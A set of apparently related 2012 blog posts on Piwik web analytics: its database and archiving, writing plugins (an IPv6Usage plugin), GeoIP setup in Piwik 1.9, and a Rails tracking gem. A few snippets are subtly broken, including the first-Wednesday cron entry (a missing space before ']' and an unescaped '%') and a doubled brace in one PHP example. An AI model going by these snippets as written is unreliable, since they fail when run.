For each visitor a new entry is added to the _log_visit table. On each subsequent page visit the visited pages of that visitor are stored in _log_link_visit_action. The _log_action table contains an entry for each page that Piwik has tracked so far. The table is referenced by the _log_link_visit_action table.

If you define Goals for your websites in Piwik, they are stored in the _goal table. Every time one of those goals converts the conversion is stored in the _log_conversion table together with some data about the visitor and the page of the conversion.

Processing

The raw data that is produced during tracking cannot be displayed directly. It would be too much load for the database to compute all metrics on demand. Therefore Piwik processes the raw data for visualization. This process is called Archiving.

Archiving happens when you visit the Piwik interface. On high-traffic websites archiving should be done by a cronjob. Raw data is processed and stored into archive tables.

Archives

For each month that Piwik tracks data, it creates two tables in the database. They are named _archive_YEAR_MONTH and _archive_numeric_YEAR_MONTH and contain the processed data for that month.

The Piwik Documentation explains what those tables are used for:

The table archive_numeric_* is used to store plain numbers. The value field has a FLOAT type which means you can save integers and floats. For example, it is used to record the number of visitors over a given period and the number of distinct search engines keywords used.

The table archive_blob_* stores anything that is not a number. A BLOB is a binary data type that can contain anything from strings and compressed strings to serialized arrays and serialized objects. For example, it is used to store the search engine keywords that the visitors used over a given period and the visitors' browsers.

Plugins can now fetch the processed data from the archive tables and fill graphs with data or use the data in other ways.

The Plugin Architecture

Directory structure

Plugins are located in the plugins/ directory of your Piwik installation. Each plugin resides in its own subdirectory.

plugins/
|-- VisitFrequency
|   |-- API.php
|   |-- Controller.php
|   |-- templates
|   |   |-- index.tpl
|   |   `-- sparklines.tpl
|   `-- VisitFrequency.php

Most plugins consist of no more than three PHP files and a number of view templates.

Basic layout

The plugin system has a number of conventions that need to be followed in order to make a plugin work with Piwik. The first convention is, that a plugin has to have a PHP file with the same name as the directory it resides in. So if you build a VisitorForecast plugin, you need to create a directory called VisitorForecast with a VisitorForecast.php file.

Continuing with the idea of a VisitorForecast plugin, you need to create a class called Piwik_VisitorForecast that extends the Piwik_Plugin class:

<?php
class Piwik_VisitorForecast extends Piwik_Plugin { }

Piwik_Plugin is an abstract class with an abstract method called getInformation() that you need to implement. You can take a look at other plugins to see what the function has to return, or you just take a look at the abstract class in core/Plugin.php.

/**
* Returns the plugin details
* - 'description' => string        // 1-2 sentence description of the plugin
* - 'author' => string             // plugin author
* - 'author_homepage' => string    // author homepage URL (or email "mailto:youremail@example.org")
* - 'homepage' => string           // plugin homepage URL
* - 'license' => string            // plugin license
* - 'license_homepage' => string   // license homepage URL
* - 'version' => string            // plugin version number; examples and 3rd party plugins must not use Piwik_Version::VERSION; 3rd party plugins must increment the version number with each plugin release
* - 'translationAvailable' => bool // is there a translation file in plugins/your-plugin/lang/* ?
* - 'TrackerPlugin' => bool        // should we load this plugin during the stats logging process?
*
* @return array
*/
abstract public function getInformation();

The method must return an associative array with information about the plugin. An implementation for the VisitorForecast plugin could look like this:

<?php
class Piwik_VisitorForecast extends Piwik_Plugin {
  public function getInformation() {
    return array(
      'description' => 'Provide a forecast of visits for the day',
      'author' => 'Your Name',
      'author_homepage' => 'http://yourwebsite.com',
      'homepage' => 'http://example.com',
      'license' => 'GPL v3 or later',
      'license_homepage' => 'http://www.gnu.org/licenses/gpl.html',
      'version' => '0.1',
      'translationAvailable' => false,
    );
  }
}

Translations

Piwik is available in over 45 languages! When you build your plugin you might want to utilize the internationalization features Piwik provides for you and provide translations for your custom plugin.

To tell Piwik that your plugin provides translations, you need to set 'translationAvailable' => true' in getInformation. Piwik will now look for translation strings in the lang/ subdirectory of the plugin. For each language you want to provide translations for create a php file with the ISO 639-1 alpha-2 name for that language.

Each language file consists of an associative array called $translations that maps a key to a translation. The keys are shared across all translation files, their translation changes depending on the language. By convention the keys are prefixed with the plugin name, so a translation file in the VisitorForecast plugin for English could look like this:

<?php
$translations = array(
  'VisitorForecast_PluginDescription' => 'Provide a forecast of visits for the day'
);

Try to give the translation keys descriptive names, so that translators have an easy job! Piwik provides a function called Piwik_Translate($key) that returns the translation for a given key, depending on the currently selected language of the user.

public function getInformation() {
  return array(
    'description' => Piwik_Translate('VisitorForecast_PluginDescription'),
    [..]
  );
}$

Hooks

Internally Piwik uses a PHP package called EventDispatcher. Plugins can hook a function to a predefined event, that gets called when the event is triggered. You can also define events so that other plugins create hooks for them.

If your plugin needs to register to any hooks, you need to implement the getListHooksRegistered method in your plugin class. The method must return an array, mapping the hook name to a callback function. Lets say, your plugin wants to be notified of each new visitor. Piwik has a hook called Tracker.newVisitorInformation that is triggered each time Piwik tracks a new visitor.

public function getListHooksRegistered()
{
  return array( 'Tracker.newVisitorInformation' => 'addVisitorInformation' );
}

public function addVisitorInformation($notification) {
{
     // we get the argument by reference associated with the hook
     $visitorInfo =& $notification->getNotificationObject();
     // get the referrer_url
     $url = $visitorInfo['referer_url'];
     // do something with the url
}

Callback functions can retrieve a notification object when the event is triggered. The content of the object depends on the hook. In this case the object is an array, containing the visitor information.

The Piwik Documentation has a list of hooks that describe when each hook is triggered and what type of object they provide.

Functions

A plugin can access a number of functions that are provided by Piwik to interact with the database, handle user access, add and modify menus and access GET/POST-request parameters. A maintained list of functions can be found in the Piwik documentation.

Controller

Piwik follows the Model-View-Controller pattern aiming at separating data presentation and data processing. All plugins follow the MVC pattern. We will later see that all data processing, if any, is done in the PluginName.php - effectively making it the model.

The controller, in a Piwik plugin has to be in a file called Controller.php. Again, by convention the controller class has to be named Piwik_PluginName_Controller and has to extend the Piwik_Controller class. All public methods in a controller can be called from the web.

class Piwik_VisitorForecast_Controller extends Piwik_Controller
{
  public function index() {
    $view = Piwik_View::factory('index');
    echo $view->render();
  }
}

When you visit your local Piwik installation you can render the page in Piwik by visiting index.php?module=VisitorForecast&action=index. Module in this case is the name of your plugin and the action the name of the method in the controller.

Views

Piwik uses the Smarty template engine to render views. Views are stored in the templates/ directory of your plugin and have the .tpl file extension.

There are several plugins for Smarty in Piwik. One being access to the translation function by which you can translate any key to its translation.

<h1>VisitorForecast</h1>
<p>{'VisitorForecast_PluginDescription'|translate}</p>

Views can be accessed in the controller using the Piwik_View class. Calling Piwik_View::factory('index') in your controller, you get an instance of your view in index.tpl. You can then set variables from the controller to make them available to the view. The render method renders out the template.

$view = Piwik_View::factory('index');
$view->myVariable = 12;
echo $view->render();

Inside the view you can access the variable by its name and render it with {$myVariable}.

API

All the data in Piwik is available through simple APIs. Plugins can extend the API to provide their data in various formats like XML, JSON, PHP or CSV.

To provide an API you need to create a file called API.php, with a class named Piwik_PluginName_API. All public methods in this class are exposed via Piwiks API.

The IPv6Usage plugin

Piwik supports IPv6 since version 1.4. While most people in 2012 are still using IPv4 the number of users having native IPv6 steadily increases. If your website is reachable over IPv6 it might be interesting to see how many visitors are actually browsing your website with it. We can use Piwik to determine which version of the Internet Protocol a visitor is using.

If you are not sure, whether you have IPv6 you can do a check online.

Prerequisites

Before we can start writing code, we need to install Piwik on our local machine. You can do this by installing PHP, MySQL and a webserver of your choice manually using your package manager (e.g. apt-get) and set them up properly.

A better alternative to start off quickly is using the Piwik Puppet Module + Vagrant. This will setup a preconfigured virtual machine and lets you start Piwik development instantly.

IPv6Usage.php

To start with the plugin we need to create the IPv6Usage.php, create a class called Piwik_IPv6Usage and extend from Piwik_Plugin. I will not show the implementation of getInformation here, as it is trivial to implement.

First we need to think about how we store our data. Since we want to track the IP version of each user, it is the best to add a field to the log_visit table. We can do this inside the install() method of our plugin, which gets automatically called when our plugin is activated the first time.

public function install()
{
  // add column location_ip_protocol in the visit table
  $query = "ALTER IGNORE TABLE `".Piwik_Common::prefixTable('log_visit')."` " .
                   "ADD `location_ip_protocol` TINYINT( 1 ) NULL ";

  // if the column already exist do not throw error. Could be installed twice...
  try {
    Piwik_Exec($query);
  }
  catch(Exception $e){
  }
}

These few lines will add a column called location_ip_protocol to the log_visit table. We will later just record a 4 if the user is on IPv4, and a 6 if the user is on IPv6.

Next thing we need to think about, is what kind of hooks we need to register to. In order to track new visits and determine their IP version, we need to register to Tracker.newVisitorInformation. We also want to process the data to display it in graphs, so we also need to register to the ArchiveProcessing_Day.compute and ArchiveProcessing_Period.compute hooks.

public function getListHooksRegistered()
{
  return array(
    'Tracker.newVisitorInformation' => 'logIPv6Info',
    'ArchiveProcessing_Day.compute' => 'archiveDay',
    'ArchiveProcessing_Period.compute' => 'archivePeriod',
    'WidgetsList.add' => 'addWidget',
    'Menu.add' => 'addMenu'
  );
}

We also want a separate menu entry to show off some graphs and define a widget to show the percentage of visitors using IPv6. For this Piwik defines two hooks called Menu.Add and WidgetList.add. We now need to define all callback methods and implement them.

public function addMenu()
{
  Piwik_AddMenu('General_Visitors', 'IPv6 Usage', array('module' => 'IPv6Usage', 'action' => 'index'));
}

Piwik_AddMenu adds a new menu entry. The first argument defines the name of the menu on the first level, the second is the label of the submenu, and the third argument an array of URL parameters. In this case, we should get a submenu labelled "IPv6Usage" that, when clicked, shows the index action of our controller (which we yet have to implement).

public function addWidget() {
  Piwik_AddWidget( 'General_Visitors', 'IPv6Usage_WidgetProtocolDescription', 'IPv6Usage', 'getIPv6UsageGraph');
}

Adding a widget is quite similar. The first argument is the category in which the widget will be listed, the second the title of the widget. Third and fourth argument are the name of the controller and the name of the method to be called.

Now we get to the interesting part of logging data to the database. For each visit, Piwik will call the logIPv6Info callback method. This method needs to determine the IP version the visitor is using, and set it in the visitorInfo array.

public function logIPv6Info($notification) {
  // retrieve the array of the visitors data from the notification object
  $visitorInfo =& $notification->getNotificationObject();
  // Fetch the users ip
  $ip = $visitorInfo['location_ip'];
  // Check the type of the IP (v4 or v6)
  $protocol = Piwik_IP::isIPv4($ip) ? 4 : 6;
  $visitorInfo['location_ip_protocol'] = $protocol;
}

The Piwik_IP class provides a convenience method to check whether an IP is in IPv4 format. We can assume that if the IP from location_ip is not an IPv4 address, that it is an IPv6 address. We modify the $visitorInfo array and set the value for location_ip_protocol. Piwik automatically converts that array into a database query and inserts all values into the log_visit table.

Archiving

The final step is to implement archiving of our data. The archiveDay callback method is called for each website and day that has to be processed. The notification object is an instance of Piwik_ArchiveProcessing. We need to fetch the number of visits for both protocol versions from the database and limit the query to only count visits in the date range that has to be archived.

public function archiveDay($notification)
{
  /* @var $archiveProcessing Piwik_ArchiveProcessing */
  $archiveProcessing = $notification->getNotificationObject();

  if(!$archiveProcessing->shouldProcessReportsForPlugin($this->getPluginName())) return;

  $select = "location_ip_protocol, COUNT( location_ip_protocol ) as count";
  $from = "log_visit";

  $where = "log_visit.visit_last_action_time >= ?
                   AND log_visit.visit_last_action_time <= ?
                   AND log_visit.idsite = ?
                   AND location_ip_protocol IS NOT NULL
                   GROUP BY location_ip_protocol";

  $bind = array(
    $archiveProcessing->getStartDatetimeUTC(),
    $archiveProcessing->getEndDatetimeUTC(), 
    $archiveProcessing->idsite
  );

  $query = $archiveProcessing->getSegment()->getSelectQuery($select, $from, $where, $bind);
  $rowSet = $archiveProcessing->db->query($query['sql'], $query['bind']);

  $data = array(
    'IPv6Usage_IPv4' => 0,
    'IPv6Usage_IPv6' => 0
  );

  while($row = $rowSet->fetch())
  {
    $key = sprintf("%s%d", 'IPv6Usage_IPv', $row['location_ip_protocol']);
    $data[$key] = $row['count'];
  }

  foreach($data as $key => $value)
  {
    $archiveProcessing->insertNumericRecord($key, $value);
  }
}

After getting the numbers from the database we can call the method insertNumericRecord($key, $value) on the notification object to archive the values.

Controller.php

In the controller we want to do two things. We want to display a pie chart, showing us the proportion of visits by protocol and we want to render a basic view.

Rendering a basic view is very easy. You just need to instantiate your view template (we will come to that in a minute) and call the render() method on it.

public function index() {
  $view = Piwik_View::factory('index');
  $this->setPeriodVariablesView($view);
  $view->graphUsageEvolution = $this->getIPv6UsageEvolutionGraph( true, array('IPv6Usage_IPv4', 'IPv6Usage_IPv6') );
  echo $view->render();
}

The index template will render a graph, therefore we assign the rendered graph to a variable called graphUsageEvolution.

public function getIPv6UsageEvolutionGraph( $fetch = false, $columns = false)
{
  if(empty($columns))
  {
    $columns = Piwik_Common::getRequestVar('columns');
    $columns = Piwik::getArrayFromApiParameter($columns);
  }

  $documentation = Piwik_Translate('IPv6Usage_ProtocolUsageEvolution');

  // Note: if you edit this array, maybe edit the code below as well
  $selectableColumns = array(
    'IPv6Usage_IPv4',
    'IPv6Usage_IPv6',
    'nb_visits',
    'nb_uniq_visitors'
  );

  $view = $this->getLastUnitGraphAcrossPlugins($this->pluginName, __FUNCTION__, $columns,
                   $selectableColumns, $documentation);

  return $this->renderView($view, $fetch);
}

This method is a little more complex. It takes two arguments, the first is used in the call to renderView and if set to true will make it return the rendered view instead of printing it out. The second argument lets you filter the list of shown columns.

Now $selectableColumns is an array in which we specify which columns should be selectable in the graph. Finally the call to getLastUnitGraphAcrossPlugins creates the graph by calling API.get internally and selecting the columns that were requested.

Views

Right now, our plugin only has one simple template. It just renders the evolution graph that is created in the controller.

<h2>{'Referers_Evolution'|translate}</h2>
{$graphUsageEvolution}

Testing

Testing is a very important part of development. However testing a plugin in Piwik is not an easy task, as most of the time you will want to emulate visitors with certain settings on a page and make sure your plugin processes everything right.

I suggest you take a look at how other plugins are tested and try to come up with ways to test your plugin. You can also take a look at the VisitorGenerator plugin that comes with Piwik. It allows you to generate random visits and actions to fill up your database.

Conclusion

This article provided an extensive description of the Piwik plugin architecture and used the IPv6Usage plugin as an implementation example.

When developing your own plugin, the Piwik documentation will be of great help. If you are stuck with a problem a look at the implementation of other plugins can help a lot.
If you have any questions, feel free to leave a comment. I will update the documentation with your feedback.

IPv6 is slowly adapted by ISPs around the globe. If your website is accessible with both IPv4 and IPv6 it might be interesting to see how users are accessing your website and how it changes overs time.

IPv6Usage

The IPv6Usage plugin for Piwik allows you to track how many of your users are using IPv6. To do that it adds a single column to the log_visits table of your Piwik installation. By using the Piwik plugin architecture the plugin can be installed just by uploading a single folder.

Requirements

Your Piwik installation needs to be accessible over IPv6. There are several hosters that provide IPv6 with their web hosting plans.

Make sure your domain (and the one of your Piwik installation, if they are seperate) has an AAAA-Record set. You can check this on the console:

$ host -t AAAA geekmonkey.org
geekmonkey.org has IPv6 address 2a03:2900:2:1::e3

$ nslookup
> set type=AAAA
> geekmonkey.org
Server:		127.0.0.1
Address:	127.0.0.1#53

Non-authoritative answer:
geekmonkey.org	has AAAA address 2a03:2900:2:1::e3

If you are not sure whether your IPv6 setup works you can check your website's connectivity using this webservice.

Installation

You have two options to install the plugin.

Manual Installation

Download the latest zip from the Github page and unzip the package into the plugins/ directory of your Piwik installation. You need to rename the created directory to IPv6Usage.

Now all you need to do is head to your Piwik installation and activate the plugin under Settings -> Plugins.

Git

If you have shell access to your server and Git is installed, cd into the plugins/ directory of your Piwik installation and clone the IPv6Usage repository from Github.

cd /path/to/piwik/plugins/
git clone https://github.com/halfdan/IPv6Usage.git

Now all you need to do is head to your Piwik installation and activate the plugin under Settings -> Plugins.

Reports

The plugin provides two widgets to compare IPv4 to IPv6 usage. You can find both widgets under Visitors when adding Widgets through the dashboard.

The pie chart shows you the number of visits by protocol version in proportion to the total number of visits.

The "IP Protocol Usage over Time" Widget shows you the evolution of visits by protocol over time.

You can also view the statistics the plugin provides using the Piwik Mobile App:

Accuracy

The way IPv6 works today makes it hard to track the exact numbers of people that could potentially access your website with IPv6. Most users will be in a dual-stack environment where they have IPv4 and IPv6 connectivity. Depending on the browser and OS settings a dual-stack user might still use IPv4 even if IPv6 is available on your website. The plugin cannot check whether IPv6 is potentially available, it does only track those users that are using IPv6 in the tracking request to your Piwik installation.

There are ways users can force IPv6 over IPv4, but in most cases users will just not care how a website is accessed.

I am using Piwik for over three years now and have seen it grown from version 0.4 to todays release of Piwik 1.9.

Update to 1.9

Piwik will tell you to upgrade to the latest version on the top right corner. Once you click on the link to upgrade you will be guided through a very easy upgrade process.

On this page, select to "Update Automatically". After the process has finished you will see the confirmation that everything worked perfectly.

Piwik 1.9 comes with a major database upgrade which, depending on your database size, might take a long time to execute. No matter what you do, make sure you have an backup of your database just in case anything goes wrong.

Transitions

At first sight, not much has changed in the Piwik UI. Go to Actions -> Page Titles and hover one of the entries. You will see two icons, the right one being the evolution of this entry and the left icon will show the transition interface.

The transition interface will show you how your users got to that page and how the proceeded to the next page.

You can read more about Piwik Transitions and how to work with them in the Piwik docs.

GeoIP

Piwik always offered a way to detect a users country based on the language they were using.

The default location provider guesses a visitor's country based on the language they use. This is not very accurate, so we recommend installing and using GeoIP.

As this is not a reliable and satisfactory way to determine where your users are from, Piwik now comes bundled with the GeoIP plugin, which was separately available for the last five years.

When properly installed, Piwik 1.9 will report the city of the visitors in the Live! Widget when you hover the country flag.

There also is a new widget available that you can add to the dashboard to view the cities you website is most popular in.

(City Widget)

Install GeoIP PHP

Installing the GeoIP database is easy. Download the database from Maxmind to your misc/ directory and unpack it.

cd /var/www/piwik/misc
wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz

In the Piwik UI go to Settings -> Geolocation and select "GeoIP (Php)" as geolocation provider. As the documentation states, this provider is great if you don't have many visits, but will become a performance bottleneck if you have a lot of page visits. The problem is, that the PHP provider has to load the database for each request.

Install GeoIP PECL with PHP-FPM

A faster solution is a PECL (PHP Extension Community Library) extension. Combined with PHP-FPM this solution is very fast and therefore the recommended solution by Piwik. To install the extension (I am assuming a self-compiled PHP on a *NIX here), download the sources from the PECL website:

cd /opt
wget -O - http://pecl.php.net/get/geoip > geoip-latest.tgz
tar -xvf geoip-latest.tgz
cd geoip-1.0.8
phpize .
./configure
make && make install

This will install the geoip extension on your system. Now you will need to tell PHP to load it. Find your php.ini and add the following line to the [PHP] section:

extension=geoip.so

Additionally you need to tell the extension where to look for the GeoIP database(s). Find the [gd] section and prepend the following snippet:

[geoip]
geoip.custom_directory = /usr/share/GeoIP/

Adjust the directory to where you store your GeoIP database.

Update all previous visits with GeoIP information

Visits that have not been recorded with Piwik 1.9 do not have have any geolocation data. The developers were aware of the situation and provide a simple script that re-evaluates all previously tracked visits and fills in the missing geolocation data (see link.

# cd /var/www/piwik/misc/others
# php geoipUpdateRows.php 
54893 rows to process in piwik_log_visit and piwik_log_conversion...
0% done...
2% done...
4% done...
[..]
done!

Note: Providers reallocate IP address ranges very often, so the further back you go with your data (e.g. visits from over 2 years ago), the more errors you will get.

Automatically update GeoIP database

To avoid wrong geolocation information, you should update your GeoIP database regularly. Create a bash script in the misc/ directory of your piwik installation.

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR
wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
rm GeoLiteCity.dat
gunzip GeoLiteCity.dat.gz

The Maxmind database is updated on the first tuesday of every month, so lets schedule our cronjob to the first wednesday of every month. The crontab file has the following format:

• 1. Minute (0-59)
• 2. Hour (0-23)
• 3. Day of the Month (1-31)
• 4. Month of the Year (1-12)
• 5. Day of the Week (0-6) 0 being Sunday.
• 6. the executable string

Now sadly the "day of week" does not work as one would expect, as cron will execute a line if "day of the month" or "day of the week" matches, making it impossible to configure it to only run a command on the first Wednesday. With a little help of bash we can make it work: [ "$(date '+%u')" == 3]. This effectively gives us the following entry for the cronjob (type crontab -e to edit your cronjobs):

0    0    1-7    *    *    [ "$(date '+%u')" == 3] && /path/to/update_geodb.sh

Conclusions

Piwik 1.9 comes with several new features. In this article we have seen the Transitions and GeoIP plugin that will help you gain a better understanding on how visitors use your page and where they are from.

SiteSearch is a plugin not covered in this article. It enables you to track how visitors use the search functionality on your page and which results they pick.

All in all, Piwik has grown to a very mature and feature-rich analytics solution with a lot of great features still to come in Piwik 2.0.

Piwik is an open source web analytics tool written in PHP. With the first release in 2007 it quickly gained popularity as it is easy to install and organizations and individuals have complete control over the tracked data and not a third party (like Google). Right now (2012) Piwik has a global market share of about 2 percent and is ranked second place in Germany with 14 percent.

After installing Piwik on your server and creating a website, you get a JavaScript tracking tag which you have to include in your website. When working with Rails the tracking tag will most likely be embedded in the application.html.erb view. It is not very convenient to include snippets into your views.

The piwik_analytics gem provides an easy way to include Piwik into your application without messing up your view templates.

Installation

Add the piwik_analytics Gem to your Gemfile:

gem 'piwik_analytics', '~> 1.0.1'

Run the generator:

rails g piwik_analytics:install

This will install a piwik.yml configuration file into the config directory of your application.

Configuration

Open up config/piwik.yml and edit the settings. Each setting is described in the config file itself.

# Configuration:
#
# disabled
#   false if tracking tag should be shown
# use_async
#   Set to true if you want to use asynchronous tracking
# url
#   The url of your piwik instance (e.g. localhost/piwik/
# id_site
#   The id of your website inside Piwik
#
production:
  piwik:
    id_site: 1
    url: piwik-production.example.com
    use_async: false
    disabled: false

development:
  piwik:
    id_site: 1
    url: piwik-development.example.com
    disabled: true
    use_async: false

test:
  piwik:
    id_site: 1
    url: localhost
    disabled: true
    use_async: false

As you can see, by default Piwik is only enabled in production mode. You can of course enable Piwik in the development or test environment by setting disabled: false. You will then need to fetch the site ID of the website you want to track from Piwik. Login to your Piwik Installation, go to "Settings" and click the "Websites" tab.

In this case the site ID is "1". As a last step you need to set the URL of your Piwik installation. If your Piwik is hosted under http://example.com/piwik/ you need to set the URL to example.com/piwik (without the trailing slash).

Piwik supports an asynchronous tracking script since version 1.1. In case you want to use asynchronous tracking in your application, simply set use_async: true.

Usage

The gem provides a simple helper that outputs the tracking tag. Inside your application.html.erb (or haml, slim) you can simply add the following snippet just before the closing body tag.

<%= piwik_tracking_tag %>

Make sure you have disabled: false when you test the gem.

Other Resources

• Installation Piwik
• Piwik Live Demo
• More plugins for Piwik Integration